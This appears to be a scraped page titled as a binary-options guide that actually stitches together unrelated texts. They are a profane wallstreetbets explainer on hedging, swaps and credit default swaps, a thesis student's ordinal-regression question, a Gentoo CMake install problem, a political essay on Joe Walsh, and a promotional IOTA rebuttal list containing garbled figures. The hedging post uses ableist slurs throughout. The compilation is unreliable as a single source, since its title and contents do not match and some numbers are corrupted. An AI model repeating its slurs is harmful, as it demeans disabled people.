Binary Options Trading for Dummies - The Complete Beginner ...

Everything You Always Wanted To Know About Swaps* (*But Were Afraid To Ask)

Hello, dummies
It's your old pal, Fuzzy.
As I'm sure you've all noticed, a lot of the stuff that gets posted here is - to put it delicately - fucking ridiculous. More backwards-ass shit gets posted to wallstreetbets than you'd see on a Westboro Baptist community message board. I mean, I had a look at the daily thread yesterday and..... yeesh. I know, I know. We all make like the divine Laura Dern circa 1992 on the daily and stick our hands deep into this steaming heap of shit to find the nuggets of valuable and/or hilarious information within (thanks for reading, BTW). I agree. I love it just the way it is too. That's what makes WSB great.
What I'm getting at is that a lot of the stuff that gets posted here - notwithstanding it being funny or interesting - is just... wrong. Like, fucking your cousin wrong. And to be clear, I mean the fucking your *first* cousin kinda wrong, before my Southerners in the back get all het up (simmer down, Billy Ray - I know Mabel's twice removed on your grand-sister's side). Truly, I try to let it slide. I do my bit to try and put you on the right path. Most of the time, I sleep easy no matter how badly I've seen someone explain what a bank liquidity crisis is. But out of all of those tens of thousands of misguided, autistic attempts at understanding the world of high finance, one thing gets so consistently - so *emphatically* - fucked up and misunderstood by you retards that last night I felt obligated at the end of a long work day to pull together this edition of Finance with Fuzzy just for you. It's so serious I'm not even going to make a u/pokimane gag. Have you guessed what it is yet? Here's a clue. It's in the title of the post.
That's right, friends. Today in the neighborhood we're going to talk all about hedging in financial markets - spots, swaps, collars, forwards, CDS, synthetic CDOs, all that fun shit. Don't worry; I'm going to explain what all the scary words mean and how they impact your OTM RH positions along the way.
We're going to break it down like this. (1) "What's a hedge, Fuzzy?" (2) Common Hedging Strategies and (3) All About ISDAs and Credit Default Swaps.
Before we begin. For the nerds and JV traders in the back (and anyone else who needs to hear this up front) - I am simplifying these descriptions for the purposes of this post. I am also obviously not going to try and cover every exotic form of hedge under the sun or give a detailed summation of what caused the financial crisis. If you are interested in something specific ask a question, but don't try and impress me with your Investopedia skills or technical points I didn't cover; I will just be forced to flex my years of IRL experience on you in the comments and you'll look like a big dummy.
TL;DR? Fuck you. There is no TL;DR. You've come this far already. What's a few more paragraphs? Put down the Cheetos and try to concentrate for the next 5-7 minutes. You'll learn something, and I promise I'll be gentle.
Ready? Let's get started.
1. The Tao of Risk: Hedging as a Way of Life
The simplest way to characterize what a hedge 'is' is to imagine every action having a binary outcome. One is bad, one is good. Red lines, green lines; uppie, downie. With me so far? Good. A 'hedge' is simply the employment of a strategy to mitigate the effect of your action having the wrong binary outcome. You wanted X, but you got Z! Frowny face. A hedge strategy introduces a third outcome. If you hedged against the possibility of Z happening, then you can wind up with Y instead. Not as good as X, but not as bad as Z. The technical definition I like to give my idiot juniors is as follows:
Utilization of a defensive strategy to mitigate risk, at a fraction of the cost to capital of the risk itself.
Congratulations. You just finished Hedging 101. "But Fuzzy, that's easy! I just sold a naked call against my 95% OTM put! I'm adequately hedged!". Spoiler alert: you're not (although good work on executing a collar, which I describe below). What I'm talking about here is what would be referred to as a 'perfect hedge'; a binary outcome where downside is totally mitigated by a risk management strategy. That's not how it works IRL. Pay attention; this is the tricky part.
You can't take a single position and conclude that you're adequately hedged because risks are fluid, not static. So you need to constantly adjust your position in order to maximize the value of the hedge and insure your position. You also need to consider exposure to more than one category of risk. There are micro (specific exposure) risks, and macro (trend exposure) risks, and both need to factor into the hedge calculus.
That's why, in the real world, the value of hedging depends entirely on the design of the hedging strategy itself. Here, when we say "value" of the hedge, we're not talking about cash money - we're talking about the intrinsic value of the hedge relative to the the risk profile of your underlying exposure. To achieve this, people hedge dynamically. In wallstreetbets terms, this means that as the value of your position changes, you need to change your hedges too. The idea is to efficiently and continuously distribute and rebalance risk across different states and periods, taking value from states in which the marginal cost of the hedge is low and putting it back into states where marginal cost of the hedge is high, until the shadow value of your underlying exposure is equalized across your positions. The punchline, I guess, is that one static position is a hedge in the same way that the finger paintings you make for your wife's boyfriend are art - it's technically correct, but you're only playing yourself by believing it.
Anyway. Obviously doing this as a small potatoes trader is hard but it's worth taking into account. Enough basic shit. So how does this work in markets?
2. A Hedging Taxonomy
The best place to start here is a practical question. What does a business need to hedge against? Think about the specific risk that an individual business faces. These are legion, so I'm just going to list a few of the key ones that apply to most corporates. (1) You have commodity risk for the shit you buy or the shit you use. (2) You have currency risk for the money you borrow. (3) You have rate risk on the debt you carry. (4) You have offtake risk for the shit you sell. Complicated, right? To help address the many and varied ways that shit can go wrong in a sophisticated market, smart operators like yours truly have devised a whole bundle of different instruments which can help you manage the risk. I might write about some of the more complicated ones in a later post if people are interested (CDO/CLOs, strip/stack hedges and bond swaps with option toggles come to mind) but let's stick to the basics for now.
(i) Swaps
A swap is one of the most common forms of hedge instrument, and they're used by pretty much everyone that can afford them. The language is complicated but the concept isn't, so pay attention and you'll be fine. This is the most important part of this section so it'll be the longest one.
Swaps are derivative contracts with two counterparties (before you ask, you can't trade 'em on an exchange - they're OTC instruments only). They're used to exchange one cash flow for another cash flow of equal expected value; doing this allows you to take speculative positions on certain financial prices or to alter the cash flows of existing assets or liabilities within a business. "Wait, Fuzz; slow down! What do you mean sets of cash flows?". Fear not, little autist. Ol' Fuzz has you covered.
The cash flows I'm talking about are referred to in swap-land as 'legs'. One leg is fixed - a set payment that's the same every time it gets paid - and the other is variable - it fluctuates (typically indexed off the price of the underlying risk that you are speculating on / protecting against). You set it up at the start so that they're notionally equal and the two legs net off; so at open, the swap is a zero NPV instrument. Here's where the fun starts. If the price that you based the variable leg of the swap on changes, the value of the swap will shift; the party on the wrong side of the move ponies up via the variable payment. It's a zero sum game.
I'll give you an example using the most vanilla swap around; an interest rate trade. Here's how it works. You borrow money from a bank, and they charge you a rate of interest. You lock the rate up front, because you're smart like that. But then - quelle surprise! - the rate gets better after you borrow. Now you're bagholding to the tune of, I don't know, 5 bps. Doesn't sound like much but on a billion dollar loan that's a lot of money (a classic example of the kind of 'small, deep hole' that's terrible for profits). Now, if you had a swap contract on the rate before you entered the trade, you're set; if the rate goes down, you get a payment under the swap. If it goes up, whatever payment you're making to the bank is netted off by the fact that you're borrowing at a sub-market rate. Win-win! Or, at least, Lose Less / Lose Less. That's the name of the game in hedging.
There are many different kinds of swaps, some of which are pretty exotic; but they're all different variations on the same theme. If your business has exposure to something which fluctuates in price, you trade swaps to hedge against the fluctuation. The valuation of swaps is also super interesting but I guarantee you that 99% of you won't understand it so I'm not going to try and explain it here although I encourage you to google it if you're interested.
Because they're OTC, none of them are filed publicly. Someeeeeetimes you see an ISDA (dsicussed below) but the confirms themselves (the individual swaps) are not filed. You can usually read about the hedging strategy in a 10-K, though. For what it's worth, most modern credit agreements ban speculative hedging. Top tip: This is occasionally something worth checking in credit agreements when you invest in businesses that are debt issuers - being able to do this increases the risk profile significantly and is particularly important in times of economic volatility (ctrl+f "non-speculative" in the credit agreement to be sure).
(ii) Forwards
A forward is a contract made today for the future delivery of an asset at a pre-agreed price. That's it. "But Fuzzy! That sounds just like a futures contract!". I know. Confusing, right? Just like a futures trade, forwards are generally used in commodity or forex land to protect against price fluctuations. The differences between forwards and futures are small but significant. I'm not going to go into super boring detail because I don't think many of you are commodities traders but it is still an important thing to understand even if you're just an RH jockey, so stick with me.
Just like swaps, forwards are OTC contracts - they're not publicly traded. This is distinct from futures, which are traded on exchanges (see The Ballad Of Big Dick Vick for some more color on this). In a forward, no money changes hands until the maturity date of the contract when delivery and receipt are carried out; price and quantity are locked in from day 1. As you now know having read about BDV, futures are marked to market daily, and normally people close them out with synthetic settlement using an inverse position. They're also liquid, and that makes them easier to unwind or close out in case shit goes sideways.
People use forwards when they absolutely have to get rid of the thing they made (or take delivery of the thing they need). If you're a miner, or a farmer, you use this shit to make sure that at the end of the production cycle, you can get rid of the shit you made (and you won't get fucked by someone taking cash settlement over delivery). If you're a buyer, you use them to guarantee that you'll get whatever the shit is that you'll need at a price agreed in advance. Because they're OTC, you can also exactly tailor them to the requirements of your particular circumstances.
These contracts are incredibly byzantine (and there are even crazier synthetic forwards you can see in money markets for the true degenerate fund managers). In my experience, only Texan oilfield magnates, commodities traders, and the weirdo forex crowd fuck with them. I (i) do not own a 10 gallon hat or a novelty size belt buckle (ii) do not wake up in the middle of the night freaking out about the price of pork fat and (iii) love greenbacks too much to care about other countries' monopoly money, so I don't fuck with them.
(iii) Collars
No, not the kind your wife is encouraging you to wear try out to 'spice things up' in the bedroom during quarantine. Collars are actually the hedging strategy most applicable to WSB. Collars deal with options! Hooray!
To execute a basic collar (also called a wrapper by tea-drinking Brits and people from the Antipodes), you buy an out of the money put while simultaneously writing a covered call on the same equity. The put protects your position against price drops and writing the call produces income that offsets the put premium. Doing this limits your tendies (you can only profit up to the strike price of the call) but also writes down your risk. If you screen large volume trades with a VOL/OI of more than 3 or 4x (and they're not bullshit biotech stocks), you can sometimes see these being constructed in real time as hedge funds protect themselves on their shorts.
(3) All About ISDAs, CDS and Synthetic CDOs
You may have heard about the mythical ISDA. Much like an indenture (discussed in my post on $F), it's a magic legal machine that lets you build swaps via trade confirms with a willing counterparty. They are very complicated legal documents and you need to be a true expert to fuck with them. Fortunately, I am, so I do. They're made of two parts; a Master (which is a form agreement that's always the same) and a Schedule (which amends the Master to include your specific terms). They are also the engine behind just about every major credit crunch of the last 10+ years.
First - a brief explainer. An ISDA is a not in and of itself a hedge - it's an umbrella contract that governs the terms of your swaps, which you use to construct your hedge position. You can trade commodities, forex, rates, whatever, all under the same ISDA.
Let me explain. Remember when we talked about swaps? Right. So. You can trade swaps on just about anything. In the late 90s and early 2000s, people had the smart idea of using other people's debt and or credit ratings as the variable leg of swap documentation. These are called credit default swaps. I was actually starting out at a bank during this time and, I gotta tell you, the only thing I can compare people's enthusiasm for this shit to was that moment in your early teens when you discover jerking off. Except, unlike your bathroom bound shame sessions to Mom's Sears catalogue, every single person you know felt that way too; and they're all doing it at once. It was a fiscal circlejerk of epic proportions, and the financial crisis was the inevitable bukkake finish. WSB autism is absolutely no comparison for the enthusiasm people had during this time for lighting each other's money on fire.
Here's how it works. You pick a company. Any company. Maybe even your own! And then you write a swap. In the swap, you define "Credit Event" with respect to that company's debt as the variable leg . And you write in... whatever you want. A ratings downgrade, default under the docs, failure to meet a leverage ratio or FCCR for a certain testing period... whatever. Now, this started out as a hedge position, just like we discussed above. The purest of intentions, of course. But then people realized - if bad shit happens, you make money. And banks... don't like calling in loans or forcing bankruptcies. Can you smell what the moral hazard is cooking?
Enter synthetic CDOs. CDOs are basically pools of asset backed securities that invest in debt (loans or bonds). They've been around for a minute but they got famous in the 2000s because a shitload of them containing subprime mortgage debt went belly up in 2008. This got a lot of publicity because a lot of sad looking rednecks got foreclosed on and were interviewed on CNBC. "OH!", the people cried. "Look at those big bad bankers buying up subprime loans! They caused this!". Wrong answer, America. The debt wasn't the problem. What a lot of people don't realize is that the real meat of the problem was not in regular way CDOs investing in bundles of shit mortgage debts in synthetic CDOs investing in CDS predicated on that debt. They're synthetic because they don't have a stake in the actual underlying debt; just the instruments riding on the coattails. The reason these are so popular (and remain so) is that smart structured attorneys and bankers like your faithful correspondent realized that an even more profitable and efficient way of building high yield products with limited downside was investing in instruments that profit from failure of debt and in instruments that rely on that debt and then hedging that exposure with other CDS instruments in paired trades, and on and on up the chain. The problem with doing this was that everyone wound up exposed to everybody else's books as a result, and when one went tits up, everybody did. Hence, recession, Basel III, etc. Thanks, Obama.
Heavy investment in CDS can also have a warping effect on the price of debt (something else that happened during the pre-financial crisis years and is starting to happen again now). This happens in three different ways. (1) Investors who previously were long on the debt hedge their position by selling CDS protection on the underlying, putting downward pressure on the debt price. (2) Investors who previously shorted the debt switch to buying CDS protection because the relatively illiquid debt (partic. when its a bond) trades at a discount below par compared to the CDS. The resulting reduction in short selling puts upward pressure on the bond price. (3) The delta in price and actual value of the debt tempts some investors to become NBTs (neg basis traders) who long the debt and purchase CDS protection. If traders can't take leverage, nothing happens to the price of the debt. If basis traders can take leverage (which is nearly always the case because they're holding a hedged position), they can push up or depress the debt price, goosing swap premiums etc. Anyway. Enough technical details.
I could keep going. This is a fascinating topic that is very poorly understood and explained, mainly because the people that caused it all still work on the street and use the same tactics today (it's also terribly taught at business schools because none of the teachers were actually around to see how this played out live). But it relates to the topic of today's lesson, so I thought I'd include it here.
Work depending, I'll be back next week with a covenant breakdown. Most upvoted ticker gets the post.
*EDIT 1\* In a total blowout, $PLAY won. So it's D&B time next week. Post will drop Monday at market open.

Ordinal regression help

Hi all, I hope someone would be able to shed some light on my analysis that I’m doing for my masters thesis project. I have to analyze pre-existing survey data to determine if there’s an association between child maltreatment & Life satisfaction. (This is a long one, I’m sorry in advance)
As covid is going on, I’m not able to get prof help in person so I’ve been really struggling and any help is much appreciated!
My exposure variable is child maltreatment and composes 6 questions, of which the possible response options are: 1-5 (never, 1 or 2 times, 3 to 5 times, 6 to 10 times, 10+ times). I want to transform this variable into a binary variable of “ever abused -yes/no” as well as collate into a joint variable, so the scores will go from 6 (never abused for all 6 items) to 30 (abused 10+ times for all items). The dependent variable is life satisfaction measured on a scale of 1-10 and it has been condensed into a scale of 5 categories, from “very satisfied” to “very dissatisfied”. I’ve been using this grouped 5-category life satisfaction variable as the dependent variable in all my analyses so far, is this appropriate ? I’m confused how these analyses are actually accounting for each category of the dependent variable ?
My main question is regarding the analysis. I wanted to do a multiple linear regression but the dependent variable (life satisfaction) is not normally distributed so I feel I’m not able to do it that way. My second option is to do an ordinal regression and I’ve been testing the assumptions but can’t seem to understand how to test for assumption 4(proportional odds). I’m trying to do a binary logistic regression as some posts say online but the values that are computed for df and the -log (logit) values are so large they just can’t be right. Is the ordinal regression the appropriate analysis to use? And if so when I am checking assumptions Do I NOT have to clarify which variables I’m using as my confounders/interaction variables and which is my independent variable ?
Also, should I be using the newly computed independent variables (the 6-30 count variable& the binary yes/no abused variable) ? Or the 6 individual items that pertain to each question on abuse? And if so am I able to include all of these in the same model? All of my confounders/interaction terms I’m using are categorical variables with at least 2 categories, and at most 14 categories (age has been collapsed into 14 categories including 5 ages in each group, i.e., 15-19,20-24,25-29).
When I checked for multicollinearity, I was told to do a linear regression and include all terms; the categorical variables as their dummy variables (so to include the 3 dummy variables coded for a variable that had initially 4 categories) and if the VIF was larger than 10 then to not include that variable. Is this correct? SPSS ended up showing 6 different variables with VIF values much larger than 10 for several of the categories for each variable so does that mean I just take them out at this step and not even include them in the actual ordinal regression? Two of the problematic variables were two of the items on abuse, so when I removed one from the analysis then the other’s VIF value significantly dropped below 10. So in this case would I modify the joint 6-30 count variable on abuse to only be 5-25?
I’m so sorry for all the questions, I know this is such a ramble but if anyone has any experience with ordinal regression in SPSS and is willing to spare a few mins to speak with me I would be forever grateful! Thank you in advance!

Installing CMake requires CMake?

Hello all,
I've been away from Gentoo for a year, but I'm coming back and trying to install it on a Lenovo Thinkpad X250. My goal is Gentoo without systemd, with Wayland and Sway, eventually migrating (once stable) to hardened+selinux. I used the current-stage3-amd64 build and followed Full Disk Encryption From Scratch Simplified. My systems boots perfectly to runlevel 3 and has no issues with LUKS or networking.
Since first boot, I have installed lm-sensors and laptop-mode-tools, following the wiki for appropriate kernel options to recompile with. Then I wanted to install Wayland + Sway, so I installed dev-libs/wayland, then tried installing gui-wm/sway, but the dependencies failed on graphite2.
I updated the system with emerge -avuDU --keep-going --with-bdeps=y @world, I think graphite2 finished at that point, but then another dependency failed to install. One of the lines was meson: command not found, so I installed meson. Repeat. "ninja: command not found". So I install ninja. Repeat. "cmake: command not found". So I try to install cmake. Except when I install cmake, I get "cmake: command not found".
Is something wrong with my installation? I don't remember these issues last year, and was able to get to a X11/KDE environment without issue.

Joe Walsh Will Not Save Us (G-File)

Dear Reader (including the poor Biden staffers who have to white-knuckle their armrests when not sucking down unfiltered Marlboros every time Joe Biden gives an interview),
If you’ve never heard the Milton Friedman shovels and spoons story, you will (and I don’t just mean here). Because everyone on the right tells some version of it at some point. The other Uncle Miltie (i.e., not the epically endowed comedic genius) goes to Asia or Africa or South America and is taken on a tour of some public works project in a developing country. Hundreds of laborers are digging with shovels. Milton asks the official in charge something like, “Why use shovels when earth moving equipment would be so much more efficient?”
The official replies that this is a jobs program and using shovels creates more jobs.
Friedman guffaws and asks, “In that case: Why not use spoons?”
The story might not be true, but the insight is timeless.
Here’s another story: When I was in college, we were debating in intro to philosophy the differences between treating men and women “equally” versus treating them the “same.” At first blush, the two things sound synonymous, but they’re not (indeed the difference illuminates the chasm of difference between classical liberalism and socialism, but that’s a topic for another day). I pointed out that there were some firefighter programs that had different physical requirements for male applicants and female ones (this was before it was particularly controversial—outside discussions of Foucault—to assume there were clear differences between sexes). Female applicants had to complete an obstacle course carrying a 100-pound dummy, but men had to carry a 200-pound dummy, or something like that. A puckish freshperson named Jonah Goldberg said: “I don’t really care if a firefighter is a man, a woman, or a gorilla, I’d just like them to be able to rescue me from a fire.”
A woman sitting in front of me wheeled around and womansplained to me that “you can always just hire two women.”
I shot back something like, “You could also hire 17 midgets, that’s not the point.”
(I apologize for using the word midget, which wasn’t on the proscribed terms list at the time.)
But here’s the thing: Sometimes it is the point. Whether you’re talking about spoons or little people, the case for efficiency is just one case among many. Don’t get me wrong, I think it’s an important one, but it’s not the only one. Sometimes older children are told to bring their little brothers or sisters along on some trip. They’ll complain, “But they’ll just slow us down!” or, “But they aren’t allowed on the big kid rides.” Parents understand the point, but they are not prioritizing efficiency over love. Or, they’re prioritizing a different efficiency: Not being stuck with a little kid who’s crying all day because he or she was left behind.
One of my favorite scenes in the movie Searching for Bobby Fischer is when the chess tutor Bruce Pandolfini, played by Ben Kingsley, tells the chess prodigy’s parents that they have to forbid their son from playing pickup chess in the park because he learns bad chess habits there. The mom says “Not playing in the park would kill him. He loves it.”
Kingsley replies, accurately, that it “just makes my job harder.”
And the mom says, “Then your job is harder.”
I love that. I love it precisely because it recognizes that good parents recognize that there are trade-offs in life and that the best option isn’t always the most efficient one.
This is one of those places where you can see how wisdom and expertise can diverge from one another.
The Unity of Goodness
Efficiency can mean different things in different contexts. In business, it means profit maximization (or cost reduction, which is often the same thing). In sports, it means winning. Always giving the ball to the best player annoys the other players who want their own shot at glory, but so long as he can be counted on to score, most coaches will err on the side of winning. Starting one-legged players will wildly improve a basketball team’s diversity score, but it’s unlikely to improve the score that matters to coaches—or fans.
I’ve long argued that there’s something in the progressive mind that dislikes this whole line of thinking. They often tend to find the idea of trade-offs to be immoral or offensive. I call it the “unity of goodness” worldview. Once you develop an ear for it, you can hear it everywhere. “I refuse to believe that economic growth has to come at the expense of the environment.” “There’s no downside to putting women in combat.” “I don’t want to live in a society where families have to choose between X and Y,” or “I for one reject the idea that we have to sacrifice security for freedom—or freedom for security.” Both Bill Clinton and Barack Obama were masters at declaring that all hard choices were “false choices”—as if only mean-spirited people would say you can’t have your cake and eat it too.
Saint Greta
Nowhere is this mindset more on display in environmentalism. Everyone hawking the Green New Deal insists that it’s win-win all the way down. It’s Bastiat’s broken window parable on an industrialized scale. Spending trillions to switch to less efficient forms of energy will boost economic growth and create jobs, they insist. I’d have much more respect for these arguments if they simply acknowledged that doing a fraction of what they want will come at considerable cost.
Consider Greta Thunberg, the latest child redeemer of the climate change movement. She hates planes because they spew CO2. That’s why she sailed from Sweden to a conference in New York. As symbolism, it worked, at least for the people who already agree with her. But in economic terms, she might as well have raised the Spoon Banner off the main mast of her multi-million-dollar craft (that may have a minimal carbon footprint now, but required an enormous carbon down-payment to create). The organizers of this stunt had to fly two people to New York to bring the ship back across the Atlantic. And scores of reporters flew across the Atlantic to cover her heroic act of self-denial. Her nautical virtue signaling came at a price.
The organizers insist that they will buy carbon offsets to compensate for the damage done. But that’s just clever accounting. The cost is still real. And that’s not the only cost. It took her fifteen days to get to America. In other words, she actually proved the point of many of her critics. Fossil fuels come with costs all their own—geopolitical, environmental, etc.—but the upside of those downsides is far greater efficiency. If you want to get across the Atlantic in seven hours instead of two weeks, you need fossil fuels. The efficiency of modern technology reduces costs by giving human beings more time to do other stuff.
The Conservative Planners
The unity of goodness mindset has been spreading to the right these days as well. The new conservative critics of the free market see the efficiency of the market as a threat to other good things. And they’re right, as Joseph Schumpeter explained decades ago. For instance, just as earth-moving equipment replaces ditch-diggers in the name of efficiency, robots replace crane operators, and the communities that depended on those jobs often suffer as a result.
I have no quarrel with this observation. My problem is with the way they either sell their program as cost-free, or pretend that the right experts can run things better from Washington. They know which jobs or industries need the state to protect them from the market. They know how to run Facebook or Google to improve the Gross National Virtue Index. Many of the same people who once chuckled at the Spoons story now nod sagely. I don’t mean to say that there’s no room for government to regulate economic affairs. But I am at a loss as to why I should suspend my skepticism for right-wingers when they work from the same assumptions of the left-wingers I’ve been arguing with for decades.
Embracing Trumpism to Own Trump
Instead I want—or I guess need—to talk about another trade-off. I’ve been very reluctant to weigh in on the Joe Walsh project for a bunch of reasons. The biggest is that I am friends with some of the people cheering it on. But I think I have to offer my take.
I don’t get it.
Oh, I certainly understand the desire to see a primary challenger to Trump. I share that desire. And I understand the political calculation behind the effort. It’s like when one little league team brings in some dismayingly brawny and hirsute player from Costa Rica as a ringer. The other teams feel like they have to get their own 22-year-olds with photoshopped birth certificates in order to compete. My friend Bill Kristol is convinced that Trump must be defeated and that Walsh is just the mongoose to take on the Cobra-in-Chief.
I try not to recycle metaphors or analogies too much, but this seems like another example of a Col. Nicholson move. As I’ve written before, Col. Nicholson was the Alec Guinness character in The Bridge Over the River Kwai. The commanding officer of a contingent of mostly British POWs being held by the Japanese, Nicholson at first follows the rules and refuses to cooperate with his captors in their effort to use British captives as slave labor for a bridge project. But then his pride kicks in and he decides he will show the Japanese what real soldiering is like, agreeing to build the bridge as a demonstration of British superiority in civil engineering. [Spoiler alert] It’s only at the end of the film that he realizes that building the bridge may have been a kind of short-sighted moral victory, but in reality he was helping the Japanese kill allied troops because the bridge was going to be used for shipping Japanese troops and ammunition. When this realization finally arrives, he exclaims, “My God, what have I done?”
Walsh’s primary brief against Trump is that Trump is temperamentally unfit for office and a con man. Fair enough. But he has to focus his indictment on Trump’s erratic behavior. Why? Because he’s a terrible spokesman for much of the rest of the case against Trump. I may not call myself “Never Trump” any more, but I was in 2016. And back then, the argument against Trump wasn’t simply that he was erratic. It was also that he wasn’t a conservative, that he happily dabbled in racism and bigotry, and that he was crude, ill-informed, and narcissistically incapable of putting his personal interests and ego aside for the good of the country. I’m sure I’m leaving a few other things out. But you get the point.
Walsh may be sincere in his remorse over all the racist and incendiary things he said in the very recent past. He may regret supporting his anti-Semitic friend Paul Nehlen, though I haven’t found evidence of that. But none of that history should be seen as qualifications for the presidency, the Republican nomination, or support from conservatives.
And yet, it is precisely these things that make him attractive to his conservative supporters. Trump is an entertainer who trolls his enemies with offensive statements for attention, so let’s find someone who does the exact same thing!
Walsh may have been a one-term congressman, but his true vocation was as a shock-jock trolling provocateur. It’s ironic. As I’ve argued countless times, much of Trump’s bigotry in 2016 stemmed less from any core convictions than from a deep belief that the GOP’s base voters were bigoted and he needed to feed them red meat. Trump's reluctance to repudiate David Duke derived primarily from his ridiculous assumption that Duke had a large constituency he didn’t want to offend. He may have believed the Birther stuff, but he peddled it because that’s what his fans wanted. And Joe Walsh was one of those fans.
It may also be true that Walsh never really believed most of the bilge he was peddling and that he was doing the same thing Trump did—feeding the trolls—on a smaller scale. But if that’s the case, then he’s a con man, too.
I don’t want to beat up on Walsh too much because, again, his epiphany may be sincere. There are lots of people who pushed certain arguments too far only to recognize that the payoff was Trump and the transformation of conservatism into a form of right-wing identity politics. There are a lot of Col. Nicholsons out there. And I have too much respect for Bill Kristol to believe that he would lend his support to someone he believed to be as bigoted as the man Walsh seemed to be a few years ago.
But from where I sit, the prize we should keep our eyes on isn’t defeating Trump; it’s keeping conservatism from succumbing to Trumpism after he’s gone. This isn’t easy, and no tactic is guaranteed to be successful. We’ve never been here before. My own approach is to agree with Trump policies when I think they’re right—judges, buying Greenland, etc.—and disagreeing when they’re wrong. My own crutch is to simply tell the truth as I see it, regardless of whether it fits into some larger political agenda or strategy. Truth is always a legitimate defense of any statement.
But for those who see themselves as political players as well as public intellectuals, I think this is a terrible mistake. Intellectually and morally, the case for continued opposition to—or skepticism about, Trump cannot—or rather must not—be reduced to simple Trump hatred. But by rallying around Walsh—instead of, say, Mark Sanford, or Justin Amash, or, heh, General Mattis—that’s what it looks like. Because you can’t say, “I’m standing on principle in my opposition to a bigoted troll and con man as the leader of my party and my country and that’s why I am supporting a less successful bigoted troll and con man for president.” Walsh isn’t a conservative alternative to Trump; he’s an alternative version of Trump. And his candidacy only makes sense if you take the “binary choice” and “Flight 93” logic of 2016 and cast Trump in the role of Hillary.
Let’s imagine the Walsh gambit works beyond anyone’s dreams and Joe Walsh ends up getting the GOP nomination (a fairly ludicrous thought experiment, I know). If so, I have no doubt that my friend Bill Kristol will say, a la Col. Nicholson, “My God, what have I done.”
Various & Sundry
Canine Update: It’s good to be home. The beasts were delighted to see us. Everything is settling back to normal, except for one intriguing development. I think Zoë has finally had enough with Pippa’s tennis ball routine. The other day on the midday walk with the pack, Kirsten managed to film Zoë putting an end to the tennis ball shenanigans. She took the ball and buried it. It was, to use an inapt phrase, a baller move—and she was unapologetic about it. Maybe she just didn’t like all the commotion with the other dogs, because she’s tolerant of the tennis ball stuff again. Or maybe she was being protective of her sister given that many of the other dogs in the pack are known thieves. Regardless, they’re doing well and having fun.
If you haven’t tuned into The Remnant lately, please give it another try. The first episode of the week was with Niall Ferguson and the feedback has been great. The latest episode is with my friend and AEI colleague Adam White on all things constitutional. Word of mouth is really important in building up audiences, so if you can spread the word about The Remnant or this “news”letter, I’d be grateful.

FUD Copy Pastas

**Last updated: May 30, 2018: Updated wallet info with release of Trinity.
This 4 part series from the IOTA foundation covers most of the technical FUD centered at IOTA.
https://blog.iota.org/official-iota-foundation-response-to-the-digital-currency-initiative-at-the-mit-media-lab-part-1-72434583a2
Also the official IOTA faq on iota.org answers nearly all of these questions if you want to hear the answers directly.
Purpose of Writing
Since posting FUD is so ridiculously low-effort in comparison to setting the record straight, I felt it necessary to put a log of copy-pastas together to balance the scales so its just as easy to answer the FUD as it was to generate it. So next time you hear someone say "IOTA is centralized", you no longer have to take an hour out of your day and spin your wheels with someone who likely had an agenda to begin with. You just copy-paste away and move on.
It's also worth mentioning IOTA devs are too damn busy working on the protocol and doing their job to answer FUD. So I felt a semblance of responsibility.
Here they are. These answers are too my understanding so if you see something that doesn't look right let me know! They are divided into the following categories so if you are interested in a specific aspect of IOTA you can scroll to that section.
1) WALLET
2) COMMUNITY
3) INVESTING
4) TECHNICAL

WALLET

IOTA was hacked and users funds were stolen!

First, IOTA was not hacked. The term “hacked” is thrown around way too brazingly nowadays and often used to describe events that weren’t hacks to begin with. Its a symptom of this space growing way too fast creating situations of the blind leading the blind and causing hysteria.
What happened:
Many IOTA users trusted a certain 3rd party website to create their seed for their wallets. This website silently sent copies of all the seeds generated to an email address and waited till it felt it had enough funds, then it took everyones money simultaneously. That was the ”hack”.
https://blog.iota.org/the-secret-to-security-is-secrecy-d32b5b7f25ef
The lesson:
The absolute #1 marketed feature of crypto is that you are your own bank. Of everything that is common knowledge about crypto, this is at the top. But being your own bank means you are responsible for the security of your own funds. There is no safety net or centralized system in place that is going to bail you out.
For those that don’t know (and you really should if you’ve invested in anything crypto), your seed is your username-pw-security question-backup email all rolled into one. Would you trust a no-name 3rd party website to produce your username+pw for your bank account? Because thats essentially what users did.
The fix:
Make your seed offline with the generators in the sidebar or use dice. This is outlined in the “how to generate wallet and seed” directly following.
The trinity and carriota wallets will have seed generators within them upon their release.

How to generate wallet and seed

1) Download official trinity wallet here
2) follow the instructions on the app.
3) Do not run any apps in conjunction with the trinity app. Make sure all other apps are completely closed out on your device.

Are you sure a computer can’t just guess my seed?

An IOTA seed is 81 characters long. There are more IOTA seed combinations than atoms in the universe. All the computers in the world combined would take millions billions of years just to find your randomly generated one that’s located somewhere between the 0th and the 2781st combination. The chance for someone to randomly generate the exact same seed as yours is 1 / (2781).
If you can’t fathom the number 27 ^ 81, this video should help:

No questions or concerns get upvoted, only downvoted!

That’s just the nature of this business. Everyone in these communities has money at stake and are extremely incentivized to keep only positive news at the top of the front page. There is nothing you're going to do about that on this subreddit or any crypto subreddit. It's just a reddit fact of life we have to deal with. Everyone has a downvote and everyone has an upvote. But what can be done is just simply answer the questions even if they are downvoted to hell. Yea most people wont' see the answers or discussion but that one person will. every little bit counts.
I will say that there are most certainly answers to nearly every FUD topic out there. Every single one. A lot of the posts I'm seeing as of late especially since the price spike are rehashed from months ago. They are often not answered not because there isn't an answeexplanation, but because regulars who have the answers simply don't see them (for the reason listed above). I can see how it's easy for this to be interpreted (especially by new users) as there not being an answer or "the FUDsters are on to something" but thats just not the case.

Developer's candidness (aka dev's are assholes!)

http://www.reddit.com/Iota/comments/7obyyx/serious_talk_about_pr_system_iota_and_david/ds8ouvc

https://i.redd.it/qb0ik4tgny401.jpg
Lastly and to no surprise, David conducts himself very professionally in this interview even when asked several tough questions about the coordinator and MIT criticism.

IOTA Devs do not respond appropriately to criticism

When critiquers provide feedback that is ACTUALLY useful to the devs, then sure they'll be glad to hear it. So far not once has an outside dev brought up something that the IOTA devs found useful. Every single time it ends up being something that was already taken into consideration with the design and if the critiquer did an ounce of research they would know that. Thus you often find the IOTA devs dismissing their opinion as FUD and responding with hostility because all their critique is really doing is sending the message to their supporters that they are not supposed to like IOTA anymore.
Nick Johnson was a perfect example of this. The Ethereum community was co-existing [peacefully]with IOTA’s community (as they do with nearly all alt coins) until Nick wrote his infamous article. Then almost overnight Ethereum decided it didn’t like IOTA anymore and we’ve been dealing with that shit since. As of today, add LTC to that list with Charlie’s (even admitting) ignorant judgement of IOTA.
12/17/2017: Add John McAfee (bitcoin cash) and Peter Todd (bitcoin) to the list of public figures who have posted ignorantly on IOTA.

A lot of crypto communities certainly like to hate on IOTA...

